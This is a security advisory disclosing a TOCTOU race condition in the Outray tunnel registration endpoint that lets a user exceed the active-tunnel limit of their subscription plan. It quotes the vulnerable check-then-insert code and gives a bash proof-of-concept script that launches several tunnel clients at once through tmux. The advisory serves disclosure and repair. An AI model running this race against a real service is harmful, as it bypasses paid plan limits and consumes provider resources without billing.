GHSA-3pqc-836w-jgr7

Summary

A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.

Details

Affected conponent: apps/web/src/routes/api/tunnel/register.ts

• /tunnel/register endpoint code-:

// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;

          console.log(
            `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,
          );

          // Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );

            // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)
            // So we check if activeCount >= limit (not >)
            if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );
            }
            console.log(
              `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,
            );
          } else {
            console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);
          }

          if (existingTunnel) {
            // Tunnel with this URL already exists, update lastSeenAt
            await db
              .update(tunnels)
              .set({ lastSeenAt: new Date() })
              .where(eq(tunnels.id, existingTunnel.id));

            return json({
              success: true,
              tunnelId: existingTunnel.id,
            });
          }

          // Create new tunnel record
          const tunnelRecord = {
            id: randomUUID(),
            url: tunnelUrl,
            userId,
            organizationId,
            name: name || null,
            protocol,
            remotePort: remotePort || null,
            lastSeenAt: new Date(),
            createdAt: new Date(),
            updatedAt: new Date(),
          };

          await db.insert(tunnels).values(tunnelRecord);

          return json({ success: true, tunnelId: tunnelRecord.id });
        } catch (error) {
          console.error("Tunnel registration error:", error);
          return json({ error: "Internal server error" }, { status: 500 });
        }

• It checks if the tunnel exists in the database.

// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;

• Limit is checked here-:

// Check limits only for NEW tunnels (not reconnections)

if (!isReconnection) {

// Count active tunnels from Redis SET

const activeCount = await redis.scard(setKey);

console.log(

`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,

);

• Redis is checked for existing tunnel to check for reconnection.

// Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );

• If the tunnel limit is exceeded, it pops up the tunnel limit error.

if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );

• If the limit is not exceeded, it triggers a the Insert Statement without locking transactions from other request

await db.insert(tunnels).values(tunnelRecord);

• If parallel requests are made by the wshandler in /outray/outray-main/apps/tunnel/src/core/WSHandler.ts from the command line app. A request can work on a non updated row because the insert row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.

PoC

Using this simple bash script, the outray binary will be run at the same time in one tmux window, demonstrating the race condition and opening 4 tunnels.

#!/usr/bin/env bash

# POC for Outray Tunnel Race condition
SESSION="outray-race"
PORTS=(8090 4000 5000 6000)

# Create new detached tmux session
tmux new-session -d -s "$SESSION" "echo '[*] outray race session started'; bash"

# Split the panes and run outray
for i in "${!PORTS[@]}"; do
  port="${PORTS[$i]}"

  if [ "$i" -ne 0 ]; then
    tmux split-window -t "$SESSION" -h
    tmux select-layout -t "$SESSION" tiled
  fi

  tmux send-keys -t "$SESSION" "echo '[*] Running outray on port $port'; outray $port" C-m
done

tmux set-window-option -t "$SESSION" synchronize-panes off

echo "[+] tmux session '$SESSION' created"
echo "[+] Attach with: tmux attach -t $SESSION"

Running this

seeker@instance-20260106-20011$ bash kay.sh
[+] tmux session 'outray-race' created
[+] Attach with: tmux attach -t outray-race

seeker@instance-20260106-20011$ tmux attach -t outray-race

Impact

By exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.